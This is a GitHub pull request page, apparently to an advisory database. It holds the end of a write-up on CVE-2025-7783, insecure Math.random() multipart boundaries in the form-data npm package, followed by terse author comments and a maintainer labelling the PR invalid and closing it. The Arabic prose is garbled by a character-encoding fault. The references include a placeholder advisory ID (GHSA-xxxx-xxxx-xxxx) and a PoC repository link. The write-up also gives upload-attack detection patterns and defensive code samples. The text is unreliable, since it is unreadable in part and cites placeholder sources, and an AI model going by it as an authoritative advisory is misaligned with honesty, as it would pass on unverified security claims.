backdoor.*\n\nุงู„ุฃู†ู…ุงุท ุงู„ุดุจูƒูŠุฉ:\n - ุทู„ุจุงุช ู…ุชุนุฏุฏุฉ ุจู†ูุณ boundary\n - boundaries ู‚ุตูŠุฑุฉ ุฌุฏุงู‹ (<20 ุญุฑู)\n - Content-Type ุบูŠุฑ ู…ุชุทุงุจู‚ ู…ุน ุงู„ุงู…ุชุฏุงุฏ\n```\n\n---\n\n## ๐ŸŽ“ ุงู„ุฏุฑูˆุณ ุงู„ู…ุณุชูุงุฏุฉ\n\n### โš ๏ธ **ุงู„ู‚ุงุนุฏุฉ ุงู„ุฐู‡ุจูŠุฉ:**\n\n> **\"Math.random() ู„ูŠุณ ุขู…ู†ุงู‹ ุชุดููŠุฑูŠุงู‹ - ุฃุจุฏุงู‹!\"**\n\n### โœ… Best Practices\n\n#### 1. **ุงุณุชุฎุฏู… crypto ู„ู„ุฃู…ุงู†**\n```javascript\n// โœ… ู„ู„ุฃู…ุงู†\nconst crypto = require('crypto');\nconst token = crypto.randomBytes(32).toString('hex');\n\n// โŒ ู„ู„ุฃู…ุงู† (ูู‚ุท ู„ู„ุนุฑุถ/UI)\nconst demoId = Math.random().toString(36);\n```\n\n#### 2. **ู„ุง ุชูƒุดู ุงู„ู‚ูŠู… ุงู„ุนุดูˆุงุฆูŠุฉ**\n```javascript\n// โŒ ุณูŠุก\nres.json({ sessionId: Math.random() });\n\n// โœ… ุฌูŠุฏ\nres.json({ sessionId: crypto.randomUUID() });\n```\n\n#### 3. **ุงู„ุชุญู‚ู‚ ู…ู† ุงู„ุญู‚ูˆู„**\n```javascript\n// ุงุณุชุฎุฏู… ู…ูƒุชุจุฉ validation\nconst Joi = require('joi');\n\nconst schema = Joi.object({\n file: Joi.required(),\n description: Joi.string().max(500)\n // ูู‚ุท ุงู„ุญู‚ูˆู„ ุงู„ู…ุชูˆู‚ุนุฉ\n}).unknown(false); // โ† ุฑูุถ ุฃูŠ ุญู‚ูˆู„ ุฅุถุงููŠุฉ\n```\n\n#### 4. **Content-Type Validation**\n```javascript\nconst fileType = await FileType.fromBuffer(buffer);\n\nif (fileType.mime !== req.file.mimetype) {\n throw new Error('MIME type mismatch');\n}\n```\n\n---\n\n## ๐Ÿ“ก ุงู„ู…ุฑุงุฌุน ุงู„ุชู‚ู†ูŠุฉ\n\n```\n1. CVE Entry:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-7783\n\n2. npm Package:\n https://www.npmjs.com/package/form-data\n\n3. GitHub Advisory:\n https://github.com/advisories/GHSA-xxxx-xxxx-xxxx\n\n4. PoC Repository:\n https://github.com/security-research/CVE-2025-7783-poc\n\n5. OWASP - Weak PRNG:\n https://owasp.org/www-community/vulnerabilities/Insecure_Randomness\n\n6. CWE-338:\n https://cwe.mitre.org/data/definitions/338.html\n```\n\n---\n\n## ๐ŸŽ–๏ธ ุฎุชุงู… ุงู„ู…ุญุงุฑุจ\n\n> **\"ุงู„ุนุดูˆุงุฆูŠุฉ ู„ูŠุณุช ุงุฎุชูŠุงุฑูŠุฉ ููŠ ุงู„ุฃู…ุงู† - ุฅู…ุง ุญู‚ูŠู‚ูŠุฉ ุฃูˆ ู„ุง ุดูŠุก.\"**\n> \n> CVE-2025-7783 ูŠุฐูƒุฑู†ุง ุฃู† **Math.random()** ู„ู„ุฃู„ุนุงุจุŒ ุฃู…ุง **crypto** ูู„ู„ุญุฑูˆุจ.\n> \n> ููŠ ุณุงุญุฉ ุงู„ุฃู…ู† ุงู„ุณูŠุจุฑุงู†ูŠุŒ **ุงู„ุถุนู ููŠ ุงู„ุชูุงุตูŠู„ ูŠุตู†ุน ุงู„ู‡ุฒูŠู…ุฉ**.\n\n---\n\n## โš”๏ธ ุชูˆู‚ูŠุน ุงู„ุณูŠุงุฏุฉ\n\n```\nโ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—\nโ•‘ ZAYED SECURITY RESEARCH TEAM โ•‘\nโ•‘ \"Randomness is Not Optional\" โ•‘\nโ•‘ โ•‘\nโ•‘ CVE-2025-7783 โ•‘\nโ•‘ Severity: HIGH (7.5) โ•‘\nโ•‘ Status: PATCHED โœ“ โ•‘\nโ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•\n```\n\n---\n\n**#WeakPRNG** | **#FormData** | **#BoundaryInjection** | **#MathRandomFail**\n",
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

variable files

Copy link
Author

@asrar-mared asrar-mared left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

He depends

@taladrane taladrane added the invalid This doesn't seem right label Jan 15, 2026
@taladrane taladrane closed this Jan 15, 2026
@github-actions github-actions bot deleted the asrar-mared-GHSA-fjxv-7rqg-78g4 branch January 15, 2026 21:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

invalid This doesn't seem right

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants